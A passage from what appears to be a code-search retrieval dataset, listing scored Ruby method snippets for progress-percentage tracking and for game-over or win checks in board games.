"text": "def percent_complete\n return 100 if completed?\n return 0 unless record_count.to_i > 0\n\n # Approximate number of input records\n input_records = input.count.to_f * slice_size\n if input_records > record_count\n # Sanity check in case slice_size is not being adhered to\n 99\n else\n ((1.0 - (input_records.to_f / record_count)) * 100).to_i\n end\n end",
"title": ""
},
{
"docid": "5d38711cbe1a4eddb8c0b40ce05b40b3",
"score": "0.546463",
"text": "def percent_complete\n return 0 if splitting?\n return 100 if complete?\n return 99 if merging?\n (work_units.complete.count / work_units.count.to_f * 100).round\n end",
"title": ""
},
{
"docid": "b6aa36ae3f7fdde79ba94f7f09c3bc71",
"score": "0.5456408",
"text": "def update_progress(progress, file_stat)\n logger.debug(\"Setting Progress #{progress} for ID #{file_stat._id}\")\n file_stat.update(progress: progress)\n end",
"title": ""
},
{
"docid": "1ec42c6d27b0ea41feade1eec7a1a3ec",
"score": "0.5439533",
"text": "def show_progress(label, complete, opts = {})\n if self.width && self.width > 0\n opts = {total: opts} if opts.is_a?(Numeric)\n total = opts.fetch(:total, 100)\n complete = total if complete > total\n bar_length = opts.fetch(:bar_length, 40)\n completion = complete * bar_length / total\n pct = \"#{complete * 100 / total}%\"\n bar = \"#{'=' * completion}#{' ' * (bar_length - completion)}\"\n bar[(bar_length - pct.length) / 2, pct.length] = pct\n if @completed.nil? || pct != @completed\n self.status(\"[#{bar}] #{label}\", opts)\n @completed = pct\n end\n end\n end",
"title": ""
},
{
"docid": "9549537a9bd41b132c4b1fd1a04b5c16",
"score": "0.54080206",
"text": "def set_ppercent\n x = self.progress / self.goal\n self.ppercent = x * 100\n self.ppercent = self.ppercent.round\n end",
"title": ""
},
{
"docid": "c358c77af03a4423adb198af95e41e67",
"score": "0.53937304",
"text": "def progress_bar(complete, total)\n @old_perc ||= -1\n perc = (100*complete/total).round\n\n # only update when we get a new percent\n return if perc == @old_perc\n @old_perc = perc\n\n print \"\\r#{perc}% #{\"#\"*(perc/2)}\"\n $stdout.flush\nend",
"title": ""
},
{
"docid": "c05a3b244c151efd4c59cd3a014b9ea3",
"score": "0.53341216",
"text": "def progress=(proc)\n @progress_handler = proc\n end",
"title": ""
},
{
"docid": "c05a3b244c151efd4c59cd3a014b9ea3",
"score": "0.53341216",
"text": "def progress=(proc)\n @progress_handler = proc\n end",
"title": ""
},
{
"docid": "2a929de519079bc36b3b06f2f346e0a5",
"score": "0.5287254",
"text": "def percent_complete\n return 99 if merging?\n return 100 if complete?\n unit_count = work_units.count\n return 100 if unit_count <= 0\n (work_units.complete.count / unit_count.to_f * 100).round\n end",
"title": ""
},
{
"docid": "7c74f2aba6accb7e4162a28496842f09",
"score": "0.528379",
"text": "def progress=(proc)\n @dormant_progress_handler = proc\n end",
"title": ""
},
{
"docid": "b66ab7b8d0d18d3df3e28c543f5a70d2",
"score": "0.5276274",
"text": "def set_complete\n set_attributes(AasSdk.put(resource_path, {chunked_status: 'complete'}))\n nil\n end",
"title": ""
},
{
"docid": "e820318d6746e794eee2090b532e5565",
"score": "0.52706337",
"text": "def percentage_progress\n progress = progress_for_all_activities.reject{ |k,v| v == :skipped }\n completed = progress.values.count {|state| state == :complete }\n return (completed.to_f / progress.values.length.to_f * 100).to_i \n end",
"title": ""
},
{
"docid": "2a15a15ebcab9767ea6d0eeb014fca9d",
"score": "0.5264787",
"text": "def set_achievement_progress(user_id, achievement_name, opts = {})\n data, _status_code, _headers = set_achievement_progress_with_http_info(user_id, achievement_name, opts)\n return data\n end",
"title": ""
},
{
"docid": "36a03fc8ceae6ece4205f959fcfeb569",
"score": "0.52435887",
"text": "def percentage_complete\n return @percentage_complete\n end",
"title": ""
},
{
"docid": "70218740fac9251979610a240ae98bd4",
"score": "0.5212188",
"text": "def ProcessProgress(percent)\n Builtins.y2debug(\"Process: %1%%\", percent)\n\n return true if Mode.commandline\n\n Progress.Step(percent)\n\n true\n end",
"title": ""
},
{
"docid": "91fd25fe4038a54faeccfc00b765ebea",
"score": "0.5210399",
"text": "def percent=(percent)\n @percent = percent.to_f\n end",
"title": ""
},
{
"docid": "f5bfdc27fd1b49caa77494a4d7258a37",
"score": "0.51788425",
"text": "def progress(callback = nil, &blk)\n @progress = callback || blk\n end",
"title": ""
},
{
"docid": "cbb6a800e305cc9b7e4dfeadad4869b9",
"score": "0.5166307",
"text": "def percent_complete\n return @percent_complete\n end",
"title": ""
},
{
"docid": "cbb6a800e305cc9b7e4dfeadad4869b9",
"score": "0.5166307",
"text": "def percent_complete\n return @percent_complete\n end",
"title": ""
},
{
"docid": "5e444d0181943724f18643195d9ada67",
"score": "0.5166161",
"text": "def move_progress(percent_done)\n `moveProgressBar(#{percent_done})`\n end",
"title": ""
},
{
"docid": "17a6b0d9810438d5fa87024bb094173e",
"score": "0.5153107",
"text": "def percentage\n return 100 if status_name == :done\n return 0 if status_name == :new\n\n status_hash.pct_complete\n end",
"title": ""
},
{
"docid": "6996bf3da611a40e5b6b142d6ee7c340",
"score": "0.5149855",
"text": "def all_complete=(val)\n set_all_to(val)\n end",
"title": ""
},
{
"docid": "328c22f92180be34d7dee2ae78fbb0e3",
"score": "0.514824",
"text": "def percent(value)\n @percent = value\n @percent = 0 if @percent.negative?\n @percent = 100 if @percent > 100\n end",
"title": ""
},
{
"docid": "c32c95b458425d7c6b97f369829c996d",
"score": "0.51342726",
"text": "def report_progress(progress, total, *messages)\n total = parse_decimal(total, 'total')\n progress = parse_decimal(progress, 'progress')\n\n update_status(*messages, progress: progress, total: total)\n\n kill! if should_kill?\n end",
"title": ""
},
{
"docid": "31f8cf498b44938f3260b22dabac6df7",
"score": "0.5117832",
"text": "def percent_progress\n data[:percent_progress]\n end",
"title": ""
},
{
"docid": "31f8cf498b44938f3260b22dabac6df7",
"score": "0.5117832",
"text": "def percent_progress\n data[:percent_progress]\n end",
"title": ""
},
{
"docid": "31f8cf498b44938f3260b22dabac6df7",
"score": "0.5117832",
"text": "def percent_progress\n data[:percent_progress]\n end",
"title": ""
},
{
"docid": "af738176d4398672145c249e39ce1de8",
"score": "0.51101863",
"text": "def set_download_progress\n @downloaded_bytes = @files.inject(0) { |sum, file| sum + file.size }\n @progress = ((100 / @meta_info.total_size.to_f) * @downloaded_bytes).to_i\n PrettyLog.info(\"... #{@progress}% so far ...\")\n end",
"title": ""
},
{
"docid": "0dd98cf7996584bf9e1b1303bbf4b47b",
"score": "0.5062859",
"text": "def progress=(prog)\n self.stdout = prog\n end",
"title": ""
},
{
"docid": "b61347617b1f4ed5ed535dc0dcdd9ef8",
"score": "0.505996",
"text": "def set(percent)\n self.value = (percent * @max / 100.0).round\n end",
"title": ""
},
{
"docid": "867a9a4ec047988889e5a40302c3ba2d",
"score": "0.5059408",
"text": "def avanzamento_progress_bar(nome_step)\n statusbar.push(1, \"#{nome_step}\")\n progress.text = \"%.0f%%\" % @percent\n progress.fraction = @percent / 100.0\n while (Gtk.events_pending?)\n Gtk.main_iteration\n end\n @percent += @partial_progress\n end",
"title": ""
},
{
"docid": "8c8b94a10816e9c395efc43e1bb26f72",
"score": "0.5036764",
"text": "def progress(value)\n merge(progress: value.to_s)\n end",
"title": ""
},
{
"docid": "6f9ce258a44b89d8a90a19dfe58ceafd",
"score": "0.50159967",
"text": "def mark_completed\n self.failed = false\n self.finished_at = Time.current\n\n self.progress = 1.0\n self.progress_message = I18n.t('common.progress_finished')\n self.last_progress = Time.current\n\n finish!\n end",
"title": ""
},
{
"docid": "b0bc30f77aded7d68fb6e3226417800d",
"score": "0.50024295",
"text": "def progress position, total_size = nil\n total_size ||= ARGV.size\n $PERCENTAGE_DONE = position.to_f / total_size.to_f * 100\n end",
"title": ""
},
{
"docid": "6718b0789fcd7647cef168015f3122ae",
"score": "0.4982599",
"text": "def completed_percent\n if issues_count == 0\n 0\n elsif open_issues_count == 0\n 100\n else\n issues_progress(false) + issues_progress(true)\n end\n end",
"title": ""
},
{
"docid": "6718b0789fcd7647cef168015f3122ae",
"score": "0.4982599",
"text": "def completed_percent\n if issues_count == 0\n 0\n elsif open_issues_count == 0\n 100\n else\n issues_progress(false) + issues_progress(true)\n end\n end",
"title": ""
},
{
"docid": "13869c9403d421fc95f32c1685e6a4e9",
"score": "0.49731937",
"text": "def progress(value)\n\t\t\tend",
"title": ""
},
{
"docid": "20c831b26870d096443caa829abd25eb",
"score": "0.49685326",
"text": "def mark_progress(bytes)\n # N.B.: we do *not* use update here to ensure that we trigger an\n # +updated_at+ change even when we've made no other\n # progress. This helps clarify the distinction between \"still\n # running but has not yet processed any more data\" and \"it's an\n # ex-transfer, pining for the fjords\".\n self.processed_bytes = bytes\n self.modified! :processed_bytes\n self.save_changes\n self.log(\"progress: #{bytes}\", transient: true)\n end",
"title": ""
},
{
"docid": "ffbcc971eb896ada0b4a8c1468377d35",
"score": "0.49527636",
"text": "def percent_progress\n return @percent_progress\n end",
"title": ""
},
{
"docid": "40ee6221e8aab8eecf3374592d0ce067",
"score": "0.4948902",
"text": "def update_progress\n if request.post?\n @task.progress = params[:progress]\n remark = params[:remark]\n if !remark.present?\n @task.errors.add('remark', \"not be blank\")\n end\n \n if @task.errors.empty?\n @task.save\n @task.log(\"gns_project.log.task.update_progress\", current_user, remark)\n \n render json: {\n status: 'success',\n message: 'Task progress has been updated.',\n }\n end\n end\n end",
"title": ""
},
{
"docid": "6c1b411cee3dfafe4af7cb16085f7e15",
"score": "0.49367854",
"text": "def advance percentage\n\t\tif percentage.class != Float\n\t\t\traise TypeError.new \"Can only advance by a Float value.\"\n\t\telsif percentage > 1.0 or percentage < 0.0\n\t\t\traise RangeError.new \"Can only advance by a Float between 0.0 and 1.0.\"\n\t\tend\n\t\t@split_keys[0..(@split_keys.length*percentage).to_i].each {|i| i.completed = true}\n\t\tself\n\tend",
"title": ""
},
{
"docid": "7939e54a14c2de1ea4a32b76a813b736",
"score": "0.49267486",
"text": "def simple_progress_bar(percent, options = {})\n Private.check_percent(percent)\n raw Private.only_progress_bar(percent, options)\n end",
"title": ""
},
{
"docid": "d1c4d73046b35e88ef50ca896c98d920",
"score": "0.492349",
"text": "def progress_status_params\n params.require(:progress_status).permit(:percent)\n end",
"title": ""
},
{
"docid": "bd9fd61ea3ee08536ccd299a7a2e78b8",
"score": "0.49194697",
"text": "def completion_percentage\n return @completion_percentage\n end",
"title": ""
},
{
"docid": "d220a91743817e79137be7e377b7b4f8",
"score": "0.49142656",
"text": "def ProgressDeltaApply(percent)\n ProgressProvide(percent)\n\n nil\n end",
"title": ""
},
{
"docid": "c7943ae46a5888f02858ce86299ae4a4",
"score": "0.49020696",
"text": "def normalization_progress(node)\n if node['progress']\n if node['progress'] > 100\n Astute.logger.warn(\"Passed report for node with progress > 100: \"\\\n \"#{node.pretty_inspect}. Adjusting progress to 100.\")\n node['progress'] = 100\n elsif node['progress'] < 0\n Astute.logger.warn(\"Passed report for node with progress < 0: \"\\\n \"#{node.pretty_inspect}. Adjusting progress to 0.\")\n node['progress'] = 0\n end\n end\n if node['status'] && ['provisioned', 'ready'].include?(node['status']) && node['progress'] != 100\n Astute.logger.warn(\"In #{node['status']} state node should have progress 100, \"\\\n \"but node passed:\\n#{node.pretty_inspect}. Setting it to 100\")\n node['progress'] = 100\n end\n end",
"title": ""
},
{
"docid": "fe88c5320436252c1cfd6b57a4dcdea7",
"score": "0.48975676",
"text": "def mark_progress(bytes)\n # N.B.: we do *not* use update here to ensure that we trigger an\n # +updated_at+ change even when we've made no other\n # progress. This helps clarify the distinction between \"still\n # running but has not yet processed any more data\" and \"it's an\n # ex-transfer, pining for the fjords\".\n self.processed_bytes = bytes\n self.save\n self.log(\"progress: #{bytes}\", transient: true)\n end",
"title": ""
},
{
"docid": "b9081f0d29591ef7ce0138d44b5a9f9f",
"score": "0.48777556",
"text": "def save_progress\n\t\tif items = params[\"progress\"]\n\t\t\titems.each do |k,v|\n\t\t\t\tv = v == \"1\" if v == \"1\" or v == \"0\"\n\t\t\t\tcurrent_user.progress[k] = v\n\t\t\t\tcurrent_user.save\n\t\t\tend\n\t\tend\n\t\thead :ok\n\tend",
"title": ""
},
{
"docid": "c6b6a2a72090b6ed37b01ab76d9554c3",
"score": "0.48776507",
"text": "def update_progress\n jobs = self.jobs\n completed, pending = jobs.partition{|job| queue.job_complete?(job)}\n cache_store[progress_key] = \"#{completed.size.to_f} / #{jobs.size.to_f}\"\n end",
"title": ""
},
{
"docid": "ffe2339ce344041412222541e4734170",
"score": "0.48478934",
"text": "def set_complete\n set_attributes(AasSdk.put(resource_path, {upload_status: 'complete'}))\n nil\n end",
"title": ""
},
{
"docid": "536859adaca7440a480147bd6ef858ec",
"score": "0.48452792",
"text": "def download_tweet_progress_percent\n count = self.tweets.count\n max = [self.tweet_count, 3200].min\n ((count.to_f / max.to_f) * 100).round(2)\n end",
"title": ""
},
{
"docid": "e7caf35f7bcce898b31e8fdf67751b77",
"score": "0.48439094",
"text": "def progress\n (PROGRESS_FIELDS.reject{ |f| send(f).blank? }.count.to_f/\n PROGRESS_FIELDS.count.to_f*100).ceil\n end",
"title": ""
},
{
"docid": "c212d3b9e6c2f75451835023b6e3e74f",
"score": "0.48362875",
"text": "def percent_complete\n #Total the possible grade objects\n possible_grades = self.evals.count * self.students.count\n #Divide number of grades currently by possible_grades to get percentage\n # Times one hundred to format for jQuery Knob\n if self.grades.count == 0\n 0\n else\n ((self.grades.count.to_f / possible_grades) * 100).to_i\n end\n end",
"title": ""
},
{
"docid": "8b38fe869701b578a2913a71e2cea5bc",
"score": "0.48349965",
"text": "def count_successive_complete_failures=(value)\n @count_successive_complete_failures = value\n end",
"title": ""
},
{
"docid": "baf28a31006ce588f36ce30cb5531577",
"score": "0.48299628",
"text": "def pryrc_progress_bar(len=1, done=false)\n last = \"\\r\"\n last = \" Load Completed!\\n\" if done\n \"|#{'====' * len}>#{last}\"\n end",
"title": ""
},
{
"docid": "765561fb92d228e2d5a6ca824821133b",
"score": "0.48283762",
"text": "def all_complete=(val)\n todos.all.each {|todo| todo._completed = val }\n end",
"title": ""
},
{
"docid": "08f1c117956340d3d8e8bd94c834e00b",
"score": "0.48246744",
"text": "def notify_of_progress(count, total)\n on_progress_proc.call(\n count, total, percentage(count, total)\n )\n end",
"title": ""
},
{
"docid": "cf0853a11c467ab732f4b7932c131abf",
"score": "0.48221615",
"text": "def set_defaults\n self.percent_complete ||= 0.0\n end",
"title": ""
},
{
"docid": "0e691cc85b6c347dbf9ec3d3c344cbdb",
"score": "0.4799948",
"text": "def percentage_complete\n return 0 if grade_items.empty?\n\n unresolved = grade_items.where(status: %w[Inactive Unresolved])\n ((1 - unresolved.count.to_f / grade_items.count) * 100).to_i\n end",
"title": ""
},
{
"docid": "87db9cbbf4bc957ebe6deeb40c1d2211",
"score": "0.47923425",
"text": "def percent_complete\n Rails.cache.fetch(\"job#{id}/percent_complete\", expires_in: 1.hour) do\n totalImages = image_labels.count\n if totalImages == 0\n totalImages = 1;\n end\n completeImages = labelledImagesCount()\n pct = (completeImages.to_f/totalImages)*100.0\n pct.round(1)\n end\n end",
"title": ""
},
{
"docid": "d56b19ff3d58fa1a4bc43db4df7babe1",
"score": "0.4789467",
"text": "def complete_progress\n stopped = Time.now\n duration = TimeDifference.between(@started, stopped).in_seconds\n if duration == 0\n average = @progress\n else\n average = (@progress.to_f / duration.to_f).round\n end\n\n $stderr.puts \"Read #{@progress} lines in #{duration} seconds (#{average} lines/s)\"\n $stderr.puts \"#{@anonymised_emails.count} unique e-mails replaced\"\n end",
"title": ""
},
{
"docid": "cc6b3d10e29eeec2381b5b3d04d0c647",
"score": "0.47880366",
"text": "def percentage=(pct)\n self.value = (pct * @max_value).round\n end",
"title": ""
},
{
"docid": "227a56ecd764236903a40f08906500bf",
"score": "0.47792548",
"text": "def progress_bar(percent, options = {})\n Private.check_percent(percent)\n\n clazz = [options.delete(:class), 'progress'].join(' ').strip()\n id = \" id='#{options.delete(:id)}' \" if options[:id]\n style = \" style='#{options.delete(:style)}' \" if options[:style]\n\n progress_bar = Private.only_progress_bar(percent, options)\n\n raw \"<div class='#{clazz}'#{id}#{style}>#{progress_bar}</div>\"\n end",
"title": ""
},
{
"docid": "0b168155ab1c9aa3f7a89eebc96eefde",
"score": "0.47782677",
"text": "def completed=(complete)\n self.completed_at = (complete == 'true') ? Time.now : nil\n end",
"title": ""
},
{
"docid": "97a6ae120a4c74093268ef8ea0f6b8f6",
"score": "0.47759125",
"text": "def set_complete!\n\t\t@complete = true\n\tend",
"title": ""
},
{
"docid": "831c8aad1aa5d0e116e0883aa7c3e58d",
"score": "0.4759284",
"text": "def change_progress\n response = {}\n status_code = 200\n\n begin\n # Must be POST request to create course\n return unless request.post?\n\n # Retrieves current user\n user = get_logged_user()\n return unless user\n\n # Checks if user user is logged and if he/she is a student\n if !user\n status_code = 401\n raise 'Not logged in!'\n elsif user.is? \"supervisor\"\n status_code = 403\n raise 'Supervisor cannot update subject!'\n # Student can change his/her progress in subjects\n elsif user.is? \"student\"\n student_id = user.id\n subject_id = params[:subject_id]\n subject = SubjectStudent.find_by :subject_id => subject_id, :student_id => student_id\n prog = params[:progress]\n subject.progress = prog\n end\n\n\n rescue Exception => e\n response[:status] = 'error'\n response[:error] = \"#{e}\"\n\n else\n status_code 201\n response[:status] = 'success'\n response[:message] = 'Student was enrolled with success!'\n\n end\n render :json => response, :status => status_code\n end",
"title": ""
},
{
"docid": "fd2a87591356d620103989a59e3fe383",
"score": "0.47537628",
"text": "def percentComplete\n totalImages = image_labels.count\n pct = (labelledImagesCount()/totalImages)*100.0\n pct.round(1)\n end",
"title": ""
},
{
"docid": "e646cb380415242ad2cde5d7ceb2904d",
"score": "0.47516745",
"text": "def set_progress\n @progress = Progress.find(params[:id])\n end",
"title": ""
},
{
"docid": "e646cb380415242ad2cde5d7ceb2904d",
"score": "0.47516745",
"text": "def set_progress\n @progress = Progress.find(params[:id])\n end",
"title": ""
},
{
"docid": "e646cb380415242ad2cde5d7ceb2904d",
"score": "0.47516745",
"text": "def set_progress\n @progress = Progress.find(params[:id])\n end",
"title": ""
},
{
"docid": "0a5328247ae98c359268a78b21f9336a",
"score": "0.47495714",
"text": "def percent_complete(min = 5)\n if self.respond_to?(\"percent_complete_#{api.provider}\")\n self.send(\"percent_complete_#{api.provider}\", min)\n else\n if in_progress?\n total_resources = template.fetch(\"Resources\", []).size\n total_complete = resources.all.find_all do |resource|\n resource.status.downcase.end_with?(\"complete\")\n end.size\n result = ((total_complete.to_f / total_resources) * 100).to_i\n result > min.to_i ? result : min\n else\n 100\n end\n end\n end",
"title": ""
},
{
"docid": "1ec1d1739f4bf3d2e9a0b96e648b8e62",
"score": "0.47492763",
"text": "def set_task_as_complete\n @completed = true\n end",
"title": ""
},
{
"docid": "91f027022b559d3f5127d4801da20477",
"score": "0.47478402",
"text": "def change_completed_status(status)\n @completed_status = status\n end",
"title": ""
},
{
"docid": "91f027022b559d3f5127d4801da20477",
"score": "0.47478402",
"text": "def change_completed_status(status)\n @completed_status = status\n end",
"title": ""
},
{
"docid": "a143835184e43f37913f2958dd76e41a",
"score": "0.47442263",
"text": "def set_completed?\n if progress >= survey.questions.count\n self.completed = true\n end\n end",
"title": ""
},
{
"docid": "23d79e5ea41cbf157234729670c42372",
"score": "0.47261673",
"text": "def update_progress\n\n set_task\n @task.completed_flag = params[:completed] == \"1\"\n @task.percentage_completed = params[:progress].to_i\n @task.save(validate: false)\n\n update = Update.new\n update.myuser = logged_in_user_helper\n update.task=@task\n update.completed_flag = @task.completed_flag\n update.percentage_completed = @task.percentage_completed\n update.comments = params[:comments]\n update.percentage_time_passed = (Time.now - @task.start_date) / (@task.end_date - @task.start_date)*100\n\n update.save(validate: false)\n redirect_to root_path\n\n end",
"title": ""
},
{
"docid": "614048bcf471934457a7a96f55ddb994",
"score": "0.4717259",
"text": "def set_spinner_progress(txt)\n @spinner[:progress] = txt\n end",
"title": ""
},
{
"docid": "614048bcf471934457a7a96f55ddb994",
"score": "0.4717259",
"text": "def set_spinner_progress(txt)\n @spinner[:progress] = txt\n end",
"title": ""
},
{
"docid": "93a37a64990ca2ac946f1556dc2c892d",
"score": "0.47114068",
"text": "def percent(percentage)\n delta(exact_value * (percentage / 100.0))\n end",
"title": ""
},
{
"docid": "77bc1bd2ef6b402c0bdad24fa06ecd1f",
"score": "0.47095656",
"text": "def percent_complete\n\t\t\t(latest_block.height / latest_remote_block_height) * 100\n\t\tend",
"title": ""
},
{
"docid": "782899a4eb8d0f15bd0d942d92cfaf76",
"score": "0.47014248",
"text": "def completed_color_job_count=(value)\n @completed_color_job_count = value\n end",
"title": ""
}
] |
e8b42952a5490ddcd8cc1f798a74a36a
|
Policy for determining if the criminal has won The criminal wins provided: 1) the game has started, 2) the detectives haven't won and, 3) no detective can move
|
[
{
"docid": "6223795090e9675ed0a5c3226336cb8e",
"score": "0.76289946",
"text": "def won?\n @game.started? && !detectives_won? && detectives_cannot_move?\n end",
"title": ""
}
] |
[
{
"docid": "e311609293630d0496ea36fb56a5905d",
"score": "0.6762392",
"text": "def is_game_over?; won_by?(:hunter) || won_by?(:prey) end",
"title": ""
},
{
"docid": "519233c67558b00c5886e14385636649",
"score": "0.67466813",
"text": "def won?\n won_checker\n end",
"title": ""
},
{
"docid": "73ce403a1342ec1d24916c25dc108f4c",
"score": "0.6699744",
"text": "def won?\n end",
"title": ""
},
{
"docid": "73ce403a1342ec1d24916c25dc108f4c",
"score": "0.6699744",
"text": "def won?\n end",
"title": ""
},
{
"docid": "504f66223acb929547191247f326f375",
"score": "0.66642356",
"text": "def over?\n draw? || won?\n end",
"title": ""
},
{
"docid": "504f66223acb929547191247f326f375",
"score": "0.66642356",
"text": "def over?\n draw? || won?\n end",
"title": ""
},
{
"docid": "1dcf7a6f6434bedd69c86161ad39fc85",
"score": "0.663474",
"text": "def over?\n return draw? || won?\n end",
"title": ""
},
{
"docid": "77b84fd2393761a2bbab2277212b017f",
"score": "0.6623057",
"text": "def over?\n if won? != false && won? != nil || draw? == true\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "51ed74b2cdb8d46cb549d3360be89520",
"score": "0.66096795",
"text": "def over?\n won? || draw?\n end",
"title": ""
},
{
"docid": "51ed74b2cdb8d46cb549d3360be89520",
"score": "0.66096795",
"text": "def over?\n won? || draw?\n end",
"title": ""
},
{
"docid": "86b72d6b87374641291b74936c0b473e",
"score": "0.65988714",
"text": "def over? #\n draw? || won?\nend",
"title": ""
},
{
"docid": "79ea0c108bbc8c4c839fe08a9926b9fe",
"score": "0.65813917",
"text": "def over?\n draw? || won?\n end",
"title": ""
},
{
"docid": "c253d5cd167a08396996cb0a31270060",
"score": "0.6579252",
"text": "def over?\n won? || draw?\n end",
"title": ""
},
{
"docid": "22f1d2ea9b22174de33f75ecf3280f13",
"score": "0.65651906",
"text": "def over?\n won? || draw? || full?\n end",
"title": ""
},
{
"docid": "22f1d2ea9b22174de33f75ecf3280f13",
"score": "0.65651906",
"text": "def over?\n won? || draw? || full?\n end",
"title": ""
},
{
"docid": "22f1d2ea9b22174de33f75ecf3280f13",
"score": "0.65651906",
"text": "def over?\n won? || draw? || full?\n end",
"title": ""
},
{
"docid": "f516f52f11054ed30037fa63125ec721",
"score": "0.6558338",
"text": "def over?\n won? || full? || draw?\n end",
"title": ""
},
{
"docid": "d71bdd38d4cffe010fdbf85a3770a1d7",
"score": "0.6552518",
"text": "def over?\n won? || tied?\n end",
"title": ""
},
{
"docid": "c5ccdd3f14aad3559920520e39c344eb",
"score": "0.6551182",
"text": "def over?\n if draw? || won?\n true\n else \n false\n end\nend",
"title": ""
},
{
"docid": "ad182879e50d97766b140037baab63e9",
"score": "0.65396345",
"text": "def over?\n won? || draw? || full?\n end",
"title": ""
},
{
"docid": "c988295caa647162cbe139288f325a4d",
"score": "0.6529461",
"text": "def over?\n draw? || won?\n end",
"title": ""
},
{
"docid": "fd03b93b8028e79349354f4967a43e9b",
"score": "0.65143806",
"text": "def over?\n draw? || won? || full?\nend",
"title": ""
},
{
"docid": "6f5a3c4e3e49de06ea0412e05bbc8c6e",
"score": "0.65134853",
"text": "def over?\r\n won? || draw?\r\n end",
"title": ""
},
{
"docid": "841503289448c24388cf3e70cb462704",
"score": "0.64999044",
"text": "def over?\n self.draw? || self.won? != false\n end",
"title": ""
},
{
"docid": "eb3b26d08ac63c9bd90edd57efbbb198",
"score": "0.6485364",
"text": "def over?\n\t\tdraw? || won?\n\tend",
"title": ""
},
{
"docid": "b660b0c749f3371b196b518d0d0d1216",
"score": "0.6474204",
"text": "def game_over?\n return true if victory? || (@turns == 12)\n false\n end",
"title": ""
},
{
"docid": "482dcf5b74c8234d92d69bac5888f168",
"score": "0.6471022",
"text": "def over?\n if draw? == true or won? != false\n return true\n end\n end",
"title": ""
},
{
"docid": "79aac4b49e0f99c7085b6f78da32aa82",
"score": "0.64675176",
"text": "def over?\n if draw? == true || won? != false\n return true\n end\nend",
"title": ""
},
{
"docid": "1a7d0ef17cd6ac70a21463bd0d8a6306",
"score": "0.64656895",
"text": "def over?\n won? || draw?;\n end",
"title": ""
},
{
"docid": "99096a1dc4dff71a3931513d8d5cf287",
"score": "0.6455858",
"text": "def won?()\r\n\t\twin_game = false\r\n\t\t\r\n\t\tif()\r\n\t\t win_game = true\r\n\t end\r\n\t\t\r\n\t\treturn win_game\r\n\tend",
"title": ""
},
{
"docid": "90d77f55403804c88ef234edc5fffe87",
"score": "0.6454641",
"text": "def over?\n if won? || draw? || full?\n true\n else\n false\n end\nend",
"title": ""
},
{
"docid": "96414204d1e66cc5cb238c76b1a01697",
"score": "0.6451883",
"text": "def over?\n won? || full? || draw?\n end",
"title": ""
},
{
"docid": "b947e7572fbef021a08641eb78856fb0",
"score": "0.6445333",
"text": "def won_game?\n @points > @opponent.points + 1 && @points >= 3\n end",
"title": ""
},
{
"docid": "fb67f60ecfdf76b8143c14c318c3ae63",
"score": "0.64447874",
"text": "def over?\n if won? || draw? || full?\n true\n end\n end",
"title": ""
},
{
"docid": "42a1985bab7d4f38f649f0d23b3096f9",
"score": "0.6431208",
"text": "def someone_won?(brd)\n !!detect_winner(brd)\nend",
"title": ""
},
{
"docid": "14959cc0508e731e6a478db0886b7a68",
"score": "0.6427374",
"text": "def won_game(player)\n if player.advantage\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n elsif player.points > 3 and player.opponent.points < 3\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n end\n end",
"title": ""
},
{
"docid": "4350e0943c55f5a10571b4cd26812071",
"score": "0.6421852",
"text": "def over?\n if ( won? || draw? || full?)\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "fc0bbb891165fb723c8cc0e6c4c96f7d",
"score": "0.6411969",
"text": "def over?\r\n won? || draw? ? true : false\r\n end",
"title": ""
},
{
"docid": "9681edc1bbaa81f8daf8beee8059ef50",
"score": "0.64118063",
"text": "def game_is_over?\n (won? || draw? || full?) ? true : false\n end",
"title": ""
},
{
"docid": "b609b61477c80149286d19d114cb020f",
"score": "0.64089566",
"text": "def check_victory_condition\n\t\t@winner = @board.victory?\n\n\t\tif @winner == 'X'\n\t\t\t@player_2.declare_defeated @board, @id, 2\n\t\t\t@player_1.declare_victorious @board, @id, 1\n\t\t\ttrue\n\t\telsif @winner == 'O'\n\t\t\t@player_2.declare_victorious @board, @id, 2\n\t\t\t@player_1.declare_defeated @board, @id, 1\n\t\t\ttrue\n\t\telsif @winner == 'DRAW'\n\t\t\t@player_2.declare_draw @board, @id, 2\n\t\t\t@player_1.declare_draw @board, @id, 1\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"title": ""
},
{
"docid": "17595f169a7e9e45e5ad216c5a07ca4f",
"score": "0.6406501",
"text": "def over?\n if(!!won?)\n return true\n end\n if(draw?)\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "f270b20095942096eba0f2e2116454a1",
"score": "0.64002514",
"text": "def game_over?\n self.lost? || self.won?\n end",
"title": ""
},
{
"docid": "e88d608f61b7536176de33c5aa457d94",
"score": "0.6393787",
"text": "def won?\n player_case = false\n if total_score >= 100\n player_case = true\n end\n return player_case\n end",
"title": ""
},
{
"docid": "c82c9cfd2f173f58443299fe8cdfec5b",
"score": "0.63896805",
"text": "def over?\n won = won?()\n draw = draw?()\n # Due to the won? method never explicitly returning a true value,\n # the program must instead check if it isn't false.\n if draw == true || won != false\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "47a1ad4c1e400f5718b32fbde351b724",
"score": "0.6388082",
"text": "def won?\n # Fill this in\n end",
"title": ""
},
{
"docid": "c4e77efe34239a1425c4cc8c77f0fe10",
"score": "0.6387296",
"text": "def game_won?\n if diagonal_win?\n true\n elsif horizontal_win?\n true\n elsif vertical_win?\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "7f601d49f4ee22eb3fd0c9628d02c931",
"score": "0.6380778",
"text": "def check_if_won\n\t\tif @word_hidden == @answer_word\n\t\t\t@game_over = 1\n\t\tend\n\t\t@game_over\n\tend",
"title": ""
},
{
"docid": "4832aa4eb8b33091f49d9e1b608b1414",
"score": "0.63731396",
"text": "def won\n if (object.result == 1 and object.white == current_user) or (object.result == -1 and object.black == current_user)\n return 1\n elsif object.result == 0\n return 0\n end\n -1\n end",
"title": ""
},
{
"docid": "f8fb6376f3f862cd99df54bce37a3182",
"score": "0.6370865",
"text": "def over? \n if draw?\n return true\n elsif won?\n return true\n end\n end",
"title": ""
},
{
"docid": "a49ea60174081514502da4d68b4352c1",
"score": "0.6354412",
"text": "def check_and_manage_winner\n if codebreaker_wins?\n manage_codebreaker_winning_guess\n else manage_codemaker_wins\n end\n end",
"title": ""
},
{
"docid": "17606c77f8c0d59cb04534b60a7e40fe",
